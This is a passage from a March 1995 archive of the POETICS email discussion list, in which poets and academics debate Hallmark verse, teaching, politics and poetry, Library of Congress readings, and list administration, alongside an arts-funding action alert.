yourself did (and I love Cancer Daybook!) to set your own bearings. What a lot of avant-gardists think they're doing, in my experience, is trying to make it easier for the kind of rebel they were when younger, but they in fact don't. But I hope this isn't perceived as a monochromatic attack, just some reservations and criticisms; as i said before, the Auckland library collection is great, and was vital in my own researches and (exhausting, as yet undefeated) attempt to make my own way.

Best,

Ira

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388. **eric pape**
Re: What does it do?
Sun 26 Mar 1995

Cris, I think you're dead on. The problem as I see it of Hallmark cards and other such genres (I can't think of anything else to call it) is that their primary function seems to be affirmative. Things aren't as bad as they seem, in fact they are pretty darn good. This is not a problem only related to Hallmark but kid's cartoons (care bears;barney) and sitcoms (where Johnny's anti-social acting out by throwing water balloons off the balcony are resolved when dear old dad turns the hose on his) and talk shows (have a problem with incest, let the expert andthe audience help you!). The function of all of these is to provide pseudo-solutions. This isn't to say that there is not he possibility of finding accurate criticism in these. Beavis and Butthead can be quite critical, and Oprah and Salt and Pepa have provided forums for issues most of us would like to suppress as deeply as possible. But it would be a mistake as I see it to forget their primary purpose which seems clearly to me to reassure. Thanks, Eric.

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389. **eric pape**
Re: Letter to the Editor (longish): The Panic of Jane Staffo
Sun 26 Mar 1995

Maybe the problems we've all been addressing, that of teaching, and what poetry does, can be said to be problems of mastery. Which is how we avoid the "bad faith of the professor," or the assumption that all can be known about anything. Whether we are teaching or writing, thinking can never stop; you can't ever pretend you got it all down. WHich means sometimes that our students know more than us, in moreways than one.Which means when we are writing, its not always us who is writing, eh? Some thoughts, Eric.

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390. cris cheek
What does it do?
Sun 26 Mar 1995

The crunch of this question as Kali Tal has focussed it lies in:

> *work [which] forces us to confront events-in-the-world and allows no retreat, no relief.*

There are multiple ways through which poetry 'allows no retreat, no relief'. But here I feel disadvantaged as, being a limey, I've no idea what Hallmark cards really project. Am I right in thinking that they contain pretty much cliche sentiments to suit 'occasions of passage' or just express goodwill messages in ahandy 'off the peg' fashion?

> 'The President would like to say
> She hopes that you have a nice day'

If I'm generally at least in the environs of the Hallmark Ballpark then aren't these poetries intended to offer at the least 'relief' if not necessarily 'retreat'?

I'll stop there, in case I'm way off with my projected assumptions re Hallmark. Anybody help me out?

cris

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391. Jorge Guitart
someone gets a kick out of hallmark texts
Sun 26 Mar 1995

people who read work of the`confront-events-in-the-world-&-allows-no-retreat-&-no-relief' type do so either because it makes them feel good [aesthetically or ethically or both] or because they are forced by others. The latter case includes people who are majoring in 'english' (as a nonforeign language?) & must read that type of work when it is 'required reading' whether or not it makes them feel good.

Not being able to retreat or experiencing relief (even thinking of those situations) makes me feel bad, so i always want to find out which works fall into the no-retreat/no-relief category so I can avoid them.

i am convinced that hallmark poetry belongs in the no retreat/no relief category. Many times it makes you confront events in the world (e.g. birth, death) and there is no retreat & no relief from sending or receiving them.

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392. **cris cheek**
Re: Letter to the Editor / Why Teach?
Sun 26 Mar 1995

>What a lot of avant-gardists think they're doing, in my experience, is trying
>>to make it easier for the kind of rebel they were when younger, but they in
>>fact don't.
Posted listwards as there are some general issues here although one or two of the characters are probably anglo-specific.

Ira are you only a rebel when you're younger - have you seen the Tony Hancock movie 'The Rebel'? I'm uncertain as to the applicability of terms such as avant-garde and rebel these days. I'm curious as to what you're suggesting - if you have a positive suggestion in respect of what you appear to articulate as an impasse for teachers as well as peers. Or are we caught in the hoollowed walls of academe here?

1. I remember Jeff Nuttall once telling me of how, when he was Head of Department at Liverpool School of Art (or close) there were many students who had astounding facility with a line (drawing) - they could, in his sense, make a line do whatever they wanted. These were, in his view, highly skilled draughtspeople. BUT, he said, the ones with the 'natural born talent' (almost a saleable film title there I think) were often not those who went on to become 'professional artists'. Maybe, you could say, they just had more sense. But his point was that the people who became artists were those who 'wanted' to become artists and who pursued that - .

2. Eric Mottram was one of the poets with whom I made initial contact as a young, nineteen year old (sort of average undergraduate age) would-be poet. I learned a great deal from him and yet he was downright discouraging to my work for about two or three years. He was a useful poet to develop resistances against.

3. Poets who actively encouraged and promoted my emergent practices at that time, Bob Cobbing, Allen Fisher, Ulli Freer among others I considered to be both 'teachers' and 'peers' - although admittedly I never felt myself to be in a formalised teacher-pupil relationship with them. It would be my contention that anybody who enters the institutionalised education system (thereby syllabus, curriculum and government ideology) deserves everything that they get - and I say this as somebody who is now twenty years later enrolled as a student and bugging the hell out of my own 'teachers'.

4. This whole confrontation of being perceived and buttoned as too 'kiwi' or 'brit' and so on astonishes me. I find it difficult (i know I find everything difficult) to understand how anyone can take criticism articulated on such a

basis with anything other than the utter contempt it deserves. At the very least such resistances should be sufficient encouragement.

5. The desire for repetition (to hideously paraphrase Deleuze and Guattari) is the beginnings of the recognition of a need to mutate. The actual citation reads: 'Repetition is not the law, the finality of something; on the contrary, it marks the [I would say 'a'] threshold to "deterritorialization", the indication of a desiring mutation.'

Seems like this begins to propose an approach to the question Why Teach?

6. I do recognise the pack or clique behaviour you mention, the potential claustrophobia of prevalent 'taste' (the 'canon' of any consensual given moment) - happens again and again, particularly among male poets propping up the bar around reading series' notable for 'almost' cover to cover beefcake programming.

love
cris

↑ Index

393. Tony Green
Re: POETICS Digest - 23 Mar 1995 to 24 Mar 1995
Sun 26 Mar 1995

Dear Aldon,
O.J. reading John Cage's Silence makes transposition from music theory to poetry theory. Good call!

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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394. Tony Green
Who teach?
Sun 26 Mar 1995

Dear Eric Pape, How about going further. Students know lots, but poets, painters, musicians also know things. So who teaches who is an interesting

question. "I am teaching Michelangelo to-day" should read I'm finding out what looking at X or Y or Z by Michelangelo has got to offer? Ergo,"Michelangelo teaches me"? Or you-name-it teaches. This is a problem of positioning of the subjects, -- whose roles in the class room are defined as teachers and students. Teaching is gross when it gets to be indoctrination, isn't that the issue?

Cheers

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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395. Tony Green
Re: poetry v the sharp mind
Sun 26 Mar 1995

Dear George Bowering, I cd check on "copies to self" for what words I used etc, but my point would be not my view of Olson as historian (I reread the Special View book [lacunae? and all]) every now and again)

, but the
public perception among "bonafide" publishing historians in the
history trade of Olson or his views. I love in Maximus

the writing where the I

of the book is reading over manuscript documents in a
library: ever catch anyone else doing this
in a history book?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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396. braman sandra
hallmark and elite art
Sun 26 Mar 1995

Here in what, at least up until recently, used to be the center of cultural studies-land in the US, one actually feels quite beleaguered if one prefers Olson to Hallmark, or oil paintings to TV. The editor of the Journal of Communication, for which I edit the book review section, was considering doing a special issue of all those pieces that we'd love to write but are forbidden in today's climate. I proposed a piece on tolerating those who love elite art forms as acceptable deviants in a popular culture world focused on "difference"....

A question to those who run the list -- it seemed to me that while we were discussing whether or not to break the list up into different categories in order to reduce the amount of mail and produce more focused discussions, you've also much expanded the list in terms of numbers, without comment. Comment?

Sandra Braman

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397. Joseph Conte
Re: POETICS Digest - 22 Mar 1995 to 23 Mar 1995
Sun 26 Mar 1995

With regard to the subject of teaching and writing: In an APR interview from 1989, Donald Hall stated that he deplored the separation of creative writing programs from the teaching of literature (to grads or undergrads) because:

"If you teach great literature you live among the great models. You make your living reading Moore and Pound and Hardy and Marvell and Yeats! Incredible. Students ask you questions, and when you answer you discover that you knew something you didn't know you knew. Instead of living with half-baked first drafts by narcissistic teenagers [in workshop classes], you live with the _greatest art_. What could be a better way to spend your spare time--when you're not competing directly with Wordsworth--than be reading Wordsworth."

Other than the fact that I find teaching to be more than a "spare time" activity (if it's done well), I find Hall's rationale for the presence of the poet in the English department quite reassuring.

Joseph Conte

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398. **Tony Green**
making it up yrself
Sun 26 Mar 1995

Yes, Ryan, anyone, in so far as the text consists of simply readily available words for numbes and a well-known conjunction. But only at a given place in a given situation would anyone think that that was a poem, for Pete's sake! Is that what you are saying? Do you read Thierry de Duve, whose intricate and rich meditations on this problem occur in English in "Pictorial Nominalism". Ready-made are the words, but their positioning, that's something else.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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399. **Tony Green**
Re: Hallmarks and What They Do
Sun 26 Mar 1995

Dear Tom Mandel,

Months, it seems years ago, I asked what you meant by use in poetry and your recent post comes close to making something clear.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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400. **David McAleavey**
DC Poets etc.
Sun 26 Mar 1995

Hi Al! Welcome to see you here. In your post last Friday you said something which I've puzzled over, but haven't gotten clear: that DC poets "try to render the problematics and language and representation as literally as possible." I'm not sure I have much stake in the question, since I'm a resident of Arlington VA, but what =is= a literal rendition of the problematics of language and representation? Maybe you're suggesting that DC poets, close to the realities of political action, sense they need to be more straightforward in order to have an impact in the world? That's an interesting idea, and may be true of many poets around here (but not perhaps so true of those DC poets I know who are actually on this list). But I think I just failed to catch the sense you intended to convey.

As for the LC readings, I wonder if you're representing the situation around here accurately -- it's true that most of the readings are held at 6:45 pm, instead of 8 pm. The announced logic for this change (which still corresponds to the closing-for-repairs of the grand Coolidge Auditorium in the old, main Jefferson building of the Library) is that now people who want to attend after work before going home may do so. Apparently it was felt that people wouldn't come back to town, because of the logistics involved in commuting. And most folks who work in the District who have any interest in attending the kinds of readings sponsored by the L.C. face at least some commute, even if only to outer areas of the District. I guess I don't see how a 6:45 reading precludes DC residents from attending the readings. Of course someone may be worried that some people would be reluctant to come to "dangerous" Capitol Hill so late as 8 pm at night, and there would doubtless be some racism involved in such a hypothesis; but 6:45 is nighttime around here during a significant part of the poetry season anyway, and even the 6:45 readings don't get finished till close to 9 pm, cetainly dark during the spring and fall portions of the LC schedule.

I don't know why we have a poet laureate -- I should say, I don't think we ever should have had to employ that honorific title. But lots of the Consultants in Poetry, like the current Laureates, kept their residences elsewhere. Some did spend a lot of time here in DC, and were locally admired for it. But the truth is the gig doesn't pay that well -- last I heard it was maybe $20K-- but that's just a rumor whose truth I can't verify. Not much to live on here in DC -- though OBVIOUSLY more than many poor folks here have to survive on somehow. But if Rita Dove wants to spend a lot of time in Charlottesville, two hours away, that doesn't seem horrific to me.

On Fri, 24 Mar 1995, Aldon L. Nielsen wrote:

> *As a former resident of the District of Columbia, a wholly-owned subsidiary of the U.S. Congress, I take the question of poets in the Republic rather seriously. We probably don't have to look to far for the reasons that the Library of Congress changed its poetry reading schedules so that most residents of D.C. would no longer be able to attend. Most of our recent U.S. Poet Laureates have made an insistence upon not moving to D.C. a condition of their accepting the position. One thing that D.C. poets try to do, even when living in California as I do, is to render the problematics of langauge and representation as literally as possible.*

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401. **Gabrielle Welford**
Re: poetry v the sharp mind
Sun 26 Mar 1995

Amazing, I just received on this list the message I sent out on the 19th. No wonder I have a weird sense of time.

Gabrielle

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402. **Ryan Knighton**
Re: making it up yrself
Sun 26 Mar 1995

> *Yes, Ryan, anyone, in so far as the text consists of simply readily available words for numbes and a well-known conjunction. But only at a given place in a given situation would anyone think that that was a poem, for Pete's sake! Is that what you are saying?*

Yes this is the question but I'm not sure if that is what I'm saying. In fact, I only posed a question. But I don't know if I agree that "ONLY at a given place in a given situation " do words become poems. I whole-heartedly endorse found poetry: too much rhymes when you mind your prospects. And no I haven't read "Pictorial Nominalism". Should I?

Ryan

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403. **Tony Green**
1 & 2 3
Sun 26 Mar 1995

Dear Ryan,

Reading could speed up discussion of the "ready-made" aspect, [not that speed is everything]. And the situation in question in the Creeley poem you introduced in here supposes a cultural situation in which that particular "piece" comes to be interesting, as much as anything for its seeming simplicity, and consequent confusion of the field of "what poetry is".

It still has that effect, I guess. Anyways, Thierry de Duve is a good read. I offer that as a recommendation of something pleasant and interesting for someone who raises the interesting questions you ask (not as some awful academic Duty.)

Cheers.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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404. Blair Seagram
Re: politics and poetry
Sun 26 Mar 1995

I like what Gary Sullivan said to Kali. I know he was talking about reading for enjoyment but the message hits me in the following way.

Political statements can be poetry or propoganda or both. Propoganda can be the truth in a political context. But if it is poetry, the residue that is left will be regarded more for its aesthetic content than its political. Because politics has a way of being current and art has a way of being eternal or out of time.

Some artists or poets or whatever get to their essence by virtue of their politics and others stand outside it. I think someone like Joyce stood outside it but dealt with it continually. Someone like Virginia Woolf had to deal with it more directly, or maybe more personally, because she had a stake in changing a system she considered an injustice to herself and other women. Joyce didn't need to deal with that basic issue. All he needed to do was prove he was the greatest writer of the English language since Shakespeare!

Someone like Gertrude Stein, who I studied pretty heavily my 1st year of college and who gave me my lead into the world of visual arts, got around the women's issue by identifying with men as a man. However she looked down on

women for the most part. Virginia Woolf liked women, she held on to that in her writing. It seems to me she is a woman writer. Gertrude Stein wasn't really gender oriented in her writing. I like her audacity, her assurance and her love of artists and writers.

Then I think their are people who live what might be called poetic lives. In a large sense people like Malcolm X and Nelson Mandela are such people.

bs

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405. Lindz Williamson
Pop will eat itself (fwd)
Mon 27 Mar 1995

I've been lurking and mulling this whole thing over for a couple of days. I've always been a fan of Popism, Warhol has been my hero since I was a preteen. Howver I've never been a fan of Hallmark (I like far side cards) but I do see its place in the Forrest Gumpville, USA that has become ever so annoying and popular. But packaging and selling that warm fuzzy feeling is an aspect of Western culture that i look at as a very precise art form. HAllmark has to be given credit for that atleast. Playing off our guilt enough to convince us that Secretary's Day is viable holiday is pretty impressive. I think the reason we can't swallow Hallmark as art is because it masquarades itself as true sentiment. It's sells love and apologies. It prostitutes what is supposed to be near and dear for $2.50 and seals it in a red envelope. Another amazing and similar consumer frenzy is going on in the long distance phone business, yet we aren't quite as threatened by that surge simply because it doesn't come to us in the form of verse. Idon't know I'm sort of babbling, but Hallmark is Hallmark and poetry is . . . well I don't know, but I do agree with Warhol, i like my art with mistakes. The canvas never looks right unless it has streaks and smudges, that's how you tell its authentic.

Lindz Williamson

What I'd like to know is what is with the revial of the Western? I've noticed three definite themes reappearing in poetry, fiction and film using the western genre. 1) The wise old Indian stereo type, return to nature and the mother earth spirit. 2(The independent I am a cow girl so don't mess with me female empowerment in the Wild West, yet I will throw myself down to the one man that can tame me. 3)And finally the its ok white boy your not all that bad, not all of you are blood sucking colonialists, some of you can read keats and castrate a bull all in a days work.

Can anyone give me any insight?

Lindz Williamson

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406. Lindz Williamson
Re: politics and poetry
Mon 27 Mar 1995

I really like the idea of Hallmark as propaganda. It's a secure medium of which everone is familiar, a perfect place to hide enforcements of proper social behavior from Middle america. Who knows maybe it's a plot? Or am I just becoming paranoid?

Lindz

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407. Ron Silliman
Espouse NOW!
Mon 27 Mar 1995

The following message is from the American Arts Alliance:

URGENT ACTION ALERT URGENT

SENATE BEGINS DEBATE ON THE PROPOSED FY 95 RESCISSIONS

GRASSROOTS CONTACTS NEEDED

ISSUE: The Senate Appropriations Committee, chaired by Senator Mark Hatfield (R-OR), just announced that it will consider the FY 95 rescission package this Friday, March 24, with floor consideration anticipated as early as next week. Like the House bill, which passed last week, the Senate proposal is expected to contain $17 billion in spending cuts -- over $5 billion to pay for California emergency aid and $11 billion for deficit reduction. The House bill also contains a $5 million cut to both the NEA and NEH. (The House NEA cuts are targeted: $1 million from its administrative budget and $4 million from unobligated program funds, most of which is directed at individual fellowships.)

Last week, arts advocates scored a victory when the House defeated, by a vote of 260 to 168, an amendment that would have tripled the NEA funding reduction in the House bill from $5 to $15 million. Defeat of the NEA amendment is significant because sponsors Phil Crane (R-IL) and Cliff Stearns (R-FL) implored conservative House Democrats and Republicans to support deeper cuts in the NEA's budget.

SENATE ACTION NEEDED: To register broad based support for cultural funding, we need you to get in touch with your Senators and urge them to oppose any funding reductions to the NEA and NEH. WE URGE YOU TO CALL

YOUR SENATORS BY FRIDAY MORNING, MARCH 24. Express your opposition to NEA funding cuts by using the sample message below. The congressional switchboard number is [redacted].

SAMPLE MESSAGE

The Senate soon will be considering a rescission package to this year's (FY 95) budget. Please oppose any attempt to cut NEA and NEH funding.

The NEA already has suffered budget cuts over the past several years. In fact, the NEA's budget has lost nearly 50 percent of its purchasing power over the past 15 years. The agency is playing its part in deficit reduction.

Such cuts have limited the agency's ability to serve the American public. Both the NEA and the NEH are wise investments that merit national support. These cultural agencies help your constituents. These agencies' investments help generate jobs, create a competitive labor force for the future, revitalize communities, improve education, enhance tax bases and stimulate economic growth, increase tourism, and improve the development and growth of auxiliary services.

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408. **John Geraets**
(no subject)
Mon 27 Mar 1995

—

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409. **John Geraets**
Letter to the Editor (Longish) re-
Mon 27 Mar 1995

Q: What's the difference between a good langpo
and a tree?

A1: Nothing.
A2: Everything.
A3: The Answer, like the Question, is beside the point.
A4: The tree, unlike the langpo, isn't preoccupied with
defining its position. It occupies it.

Take your pick. I like A4 (& not just cause it's longer).
Does theorize mean think about or write about what
you think about - or maybe do these things in specific
contexts or forums - as per this LIST.

If I ask, what makes me feel welcome here, what's my
qualification being here (apart from the gender
and de-lurker invitations, which are lovely and
help), I'd say it's cos I'm interested in intellectual
discussion, specifically langpo-type speculations.
This of course means I like the company, very much,
even if I don't know the quality of your social or other
lives. Right now, don't care.

So, it's a kind of community - I mean, there are
commonnesses operating huh, of interests, of reading,
of a pleasure in theorizing. Of stimulation and the
pleasure - yeah maybe power too - of expression.

Poetry and its theorizing I think don't have social
or political or what have you functions. Maybe the sense
of responsibility
comes from the feeling that we owe our patrons, now
that our patrons/the market are in good part the
state, hence society.

I mean, it's opportunity and proclivity that connects
us. What are the personal costs agains the pleasure of
being on the LIST - does it come down to being a
university-sponsored, mail- (oops, male-) dominated
thing.

The loop that leads back from such theory to its
sponsoring society must necessarily get mediated beyond
recognition,
it's dishonest to claim responsibility for ourselves.
At most, such responsibility is an indirect thng.

Now maybe it's the processes of mediation running too & from
langpo and its theorizers, job appointments, books
published, conferences, earnings, what have you. But
theory has to do with what it theorizes, in this case
literary stuff (&itself).

It seems to me typically literature doesn't do well
patronizing the patron.

By the way, Tony, with the place you give sound/voice in
poems where do you leave someone who just happens not to
have heard poetry aloud, or a deaf someone. I can't
see the disadvantage.

Surely one sensitivity being blocked serves well to
open others?

John Geraets
[redacted]

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410. Ron Silliman
NEA Appropriations Hearing
Mon 27 Mar 1995

The House committee on appropriations will hold a meeting to consider '96 funding for the NEA on April 5 at 10:00 AM in Rayburn B308.

As noted previously, getting the House to authorize and appropriate are the two most critical steps in saving the NEA.

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411. John Geraets
re Letter to the Editor (Longish)
Mon 27 Mar 1995

(oops just sent off the wrong post, bloody unix
system, sent this one friday w/o success, here goes again..)

Hi Alan, Wystan, Tony (especially)..

Got to say I feel supportive of Alan's Stafford
rebuttal - same time can I push at the side of
it rather than just forming a scrum with you guys.

I'd like to speak as a friend and someone with aligned
writing intersts.

I'm uncomfortable with indignation as a form of
literary address. I think it already assumes a mandate
and is too affordable. It knows better than what it
addresses. I can't see the writers involved haven't fully
adequate resources available. Alan, Wystan, Michele, Murray, Tony, Roger,
Alex, all teach at AUckland University. All have
texts published, most by reputable publishers. AUP recently
published Michele, Murray, Alan. All the writers
above have been involved in editing NZ literary
magazines - Parallax, And, Splash. I've seen good
serious reviews of all writers. I reviewed Alan I
think appreciatively in Landfall. You guys - we

guys - have surely been given some chances and taken
many more.

Marginalism is as much self-induced as conferred,
surely. How do Wystan's demolition job on modernism
(in Parallax) and Alan's on CK Stead (in Island)
differ from any other attempt to get the high ground?
We've gone harder at discrediting other literary
practices, at least as hard, I think, as they us.

I'm saying these things cause I'm currently writing on NZ literary practice/s.
Also, cause this is something I've talked/mailed about with Wystan and Alan.
Also, cause I submitted a proposal for public funding in early '93 for a magazine
which involved most of the names above (yes, that was turned down, and
wrongly I believe - another story).

Also, I've been writing poetry in and out of this group
over several years and while I've felt tremendous
personal support it has not been (for me) an endorsement
of my achievement as such. How such endorsements work
is subtle and of course often sensitive. My books have
been self-published and hand-sold. They've been read in
public and sometimes reviewed. A brief postcard I received
from Charles Bernstein after sending him a copy of Itsan
meant maybe more than other responses I got. People
support what they like (and what likes them too, which
is natural), I like my work so who should I ask to
write seriously about it? My sense is, of the people I've
mentioned, maybe Tony has had least mainstream
recognition of his work/s? Would you care to comment
on your experience visavis the mainstream, Tony?

Who's allowed to complain, who's allowed to insist on
being read let alone read a certain way? I don't think
the values appealed to in the name of poetry have
and superior merit. In fact, the ethical dimension
of writing as it stands is, I believe, illshaped and outdated.
Charles and I both say Alan's a 'terrific' poet: in
our game, how does one weigh the sayer with the said?

So, I support Alan but I don't go with the dialectic
it espouses. It's too proper an idea of writing and
writing's public for me. I place this response here because
I'm interested in literary practices and want to say
something personal, as a friend and fellow writer,

from Japan, thru a computer based in Buffalo (where?)
across the screens of a no. of Americans and others
(what would hold them to read this far?) to my
mates in Auckland.

John Geraets
[redacted]

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412. Robert Drake
Re: westerns
Mon 27 Mar 1995

> *What I'd like to know is what is with the revial of the Western?*
> *I've noticed three definite themes reappearing in poetry, fiction and film using the western genre.*
> *1) The wise old Indian stereo type, return to nature and the mother earth spirit.*
> *2(The independent I am a cow girl so don't mess with me female empowerment in the Wild West, yet I will throw myself down to the one man that can tame me.*
> *3)And finally the its ok white boy your not all that bad, not all of you are blood sucking colonialists, some of you can read keats and castrate a bull all in a days work.*
>
> *Can anyone give me any insight?*
>
> *Lindz Williamson*

a book i'm always ready to recommend: Richard Slotkin's _Regeneration Through Violence_, on the ambivalent american relationship to nature/ wilderness/"savage", and its expression in AmLit. also, Annette Kolodny's _Lay of the Land_, w/ a feminist analysis of some of the same issues...

lbd

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413. Edward Foster
Re: Who teach?
Mon 27 Mar 1995

yes: WHO teach? and when the teaching is by those who are strictly readers/critics, what's taught? mostly ways to read and criticize, in my experience. lots of theory says its all the same game: reading/writing. sure, and the moon is a pumpkin.

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414. Edward Foster
Re: Why Teach?
Mon 27 Mar 1995

cris: computer acts weird today, so i repeat, differently once more, just in case other message didn't travel: responsibility's become "i respond even if you don't ask," which is arrogance, it may be, of teacher, poet, etc. who is (yr sense) responsible.

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415. Jim Pangborn
Wot Dey Doo
Mon 27 Mar 1995

Discussion here has come to an interesting pass--
step back, observe the weave of many threads:

One set of voices asks what poems/pages/teachers/students/ greetingcards/cowboymovies can/may/should/must do. Literally: "what's the use?" The correct answer to these, taken together, is "many things: too many to count on the off-hand." This is a vague answer, thus not very popular in academe. Too bad. Many here voice this position, at least by implication, to which chorus I add my own. I won't tell poets what to do. And I have found, sadly, that academic description all too often turns into prescription. (I have no such compunction, though, against telling critics what to do or where to go.)

But another set of voices, which shares some membership with the first set, answers according to academic habit by specifying one or a few possible uses as if those few were the only correct or worthy ones. Another, only slightly better way of doing this is to rank the potential uses on a seemingly vertical scale, high as opposed to low (and "cultural studies"' bouleversement of that scale does nothing to remedy the fundamental authority problem inherent in academic habitude--a rank order turned upside-down is, as has been observed by others here, still a rank order and still dependent upon the criteria that ranked the *old* order).

Walk to the front of a classroom and you walk into a role in the imaginary drama each student writes for you--that is, ten, twenty, fifty different roles at once. You'd better believe you're not always going to play the good-guy. Regard yourself as a co-investigator and soon you'll be sued by students who believe they're paying good money to have facts force-fed to them; go the opposite way and you're unjust toward those who would have thriven on co-operation. Sorry: no amount of tips can help you totalize this one. But it's okay. Some of my best teachers were my worst ones: the ones who motivated

me to show that bastard a thing or two. Happens all the time. You cannot control the student's reception of your efforts by applying some particular technique. You (we) can, however, try to respond openly and flexibly to the multiplicity of students' wants and needs. (Again vague, this is as precise a formulation as the problem affords.)

Political responsibility does not amount to either going along with or else opposing a cultural hegemony. It amounts to exercising one's share of power in group decision-making: far more of a gray (grey, for you Kiwis) area than the either/or of hegemony theory. I don't use greeting cards because I would consider it lazy *for me* to do so, not necessarily for my neighbor. (I also think Hallmark markets their product in an unethical way by inventing occasions on which my friends and relatives will feel hurt if I don't plunk down my couple of bucks on the right sort of card, but this has nothing to do with the verses per se.) The sentiments they express can support, oppose, or take any number of more complex positions toward "the culture." Generally the funny ones ironize our common problems, which can assuage bad faith or spur good faith efforts to change things; once again, the effect is not and cannot be totally controlled. And that's a good thing.

--Jim the Scrivener

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416. **maria damon**

Re: Letter to the Editor (Longish) re-

Mon 27 Mar 1995

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to john garaets: this multiple-choice thing reminds me of wole soyinka's famous dismissal of the negritude movement: "the tiger doesn't announce its tigritude, it just pounces." this (which he later qualified to the point of retracting) has always seemed to me disingenuous, in that phatic self-declaration --and indeed self-reflectivity and -reflexivity --are not only a major part of human cognition and expression, but also of non-human animal behavior (the "mating dance," etc --highly ritualized self-representation). how do we know that trees, too, do not exist in the main to announce their tree-ness? best --maria d

In message <[redacted]> UB Poetics discussion group
writes:
> Q: What's the difference between a good langpo
> and a tree?
>
> A1: Nothing.
> A2: Everything.
> A3: The Answer, like the Question, is beside the point.

> A4: The tree, unlike the langpo, isn't preoccupied with
> defining its position. It occupies it.
>
>

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417. Aldon L. Nielsen

Re: POETICS Digest - 25 Mar 1995 to 26 Mar 1995

Mon 27 Mar 1995

Now that Kato's tesitmony has been interrupted for the day, I want to respond quickly to a number of disparate postings:

Help? Bob Kaufman's poem "The American Sun" includes a ref. to "Arthur Farnsworth Television." Haven't been able to ID this -- Can anybody tell me who Arthur Farnsworth is/was? Maria or any other Kauman readers??

I'd hate to see such a binary opposition as Olson v Cultural Studies gain currency. Some of you may recall the amusing episode in Olson studies when his ref. to "Durante" was misread till somebody wrote in to the Olson journal to point out the obvious, that Olson's ref. was to the Schnoz himself. I don't happen to find Hallmark verse engaging myself, but it is certainly an interesting cultural phenomenon -- And how will we write those pesky Norton Anthology footnotes if we don't know about this stuff?

Now, in answer to David MacAleavey (who others on the POETICS line will not know was one of my dissertation readers long ago).

Will have to give you a fuller reponse elsewhere, as I'm on a machine that does not belong to me this week (one that makes it nearly impossible to correct anything!) -- but quickly -- as to point one -- cf, maybe "Can the Subaltern Speak" and _What Comes After The Subject_ -- as to the other points (don't have the posting [or posstage] in front of me] -- Well, yes, I will admit to hyperbole (this will hardly surprise you) -- but I suspect that the rationale you mention for the change in reading schedules at the Library of Congress, that people could attend on their way home from work, is the sort of thing that seems sensible to a group of people meeting on the Hill before going home to the suburbs. I am prepared to find that I am horribly wrong about that -- I imagine that rationale might hold true for the early shift at the Government Printing Office, but I doubt that this move has demonstrably increased the participation of DC residents in the series. And no, there's nothing particularly horrific in Rita Dove's decision to live at home in C'Ville with her family & near her tenured position -- Things are a bit different (though still not horrific) when the poet lives, say, in a noncontiguous state & makes a point of repeating slighting remarks about the local literary culture to the national press. (For

those not familiar with the odd history of such things, one quickly learns not to make predictions about the matter based on the published verse. William Meredith (who comes in for brutal treatment in an Olson poem) was one of the LOC Poetry Consultants most supportive of area poets.

& No, I see no reason for us to have a Poet Laureate either,,, but I see that as no bar to my interpreting the remarks of Brodsky, Strand and a few others as somewhat shortsighted -- This is in the nature of a symptomatic reading -- We can judge Professor Newt by his first appointment of a House historian, and I think we can derive lessons about governmental attitudes towards the literary arts from the history of the LOC --

anyway, as the unmatched parentheses above confirm, I can't backtrack on this compture to correct anything, and so will speak more directly of these things in person -- will be there in June! Good to hear from you after all these years.

Now, my additions to our group reading lists:
Dictee by Theresa Hak-Kyung Cha -- just reissued by 3d Woman Press & available through SPD -- this one is a must!

& from the land of the still out of print --
Dunford's Travels Everywhere by William Melvin Kelley -- a real surprise -- check your local university library for a copy.

Lastly, I don't know why the list of participants was expanded without comment, but I will confess to having added myself to the list without comment -- Sorry -- I don't know what came over me --

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418. Charles Bernstein
The List Itself
Mon 27 Mar 1995

Sandra Braman asks about any increase in the number of people on this list. As of today, there are 200 subscribers to Poetics. So, yes, the list grows by a few people every week. The policy on new subscribers has remained the same all along, and there are no plans to change it: the list is private, but anyone who finds out about it (usually through another list member but also through discovering the list by browsing EPC) is free to subscribe. I continue to see the advantage of keeping the list to a smallish scale, but then I don't know what smallish means in an environment as big as the internet. (In a talk on Friday, at UB's conference on the internet and related issues, Loss Glazier quoted some remarkable statistics on the day by day growth of the internet; perhaps he will post those here.) The paradox is that in an attempt to be open and nonexcluding one can end up excluding those who are unable to handle the

volume: people are drowned out rather than kept out -- until Dreamworks Interactive, Inc., guides us and we asphyxiate. If people on the list have thoughts about this, please let me\us know.

**

A reminder that if your server is down or your "disk quota" is exceeded you may find yourself automatically unsubbed from Poetics; should this happen, just resubscribe yourself. Some subscribers have changed their user IDs, often from initials or numerals to full names; the listserv program evidently can't recognize the old and new addresses as the same and this may cause difficulties in setting options, unsubscribing, and posting. If you do change your ID, unsub with the old and resub with the new (?!). If you want to temporarily stop getting Poetics mail it may be easier to send a message to [redacted]: set poetics nomail & later: set poetics mail than unsubbing and resubbing. If you get the Digest: if possible, try to send any replies to the list without using the "reply" function so that you can write in a specific subject head; otherwise the subject reads "Digest". On my vax system, the only information I have about a message from the directory is that it is from Poetics, the date, and the subject; other systems, as I understand it, give more or different information. There is some snare in the "automated" archiving of Poetics files, so that we don't have monthly compilations for the last three months. I have requested that this be fixed and hope it soon will be.

** Once again, let me encourage those of you out there who edit magazines or publish books to send information to the list on new publications as well as complete backlists. Also welcome: information on new and recent books and publications by list participants (I have been tempted to put together a recommended reading list just of recent books and publications by people on this list, many of which have not been cited here, but the job is too extensive for me just now.)

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419. cris cheek
plus A to Z minus Interpretation
Mon 27 Mar 1995

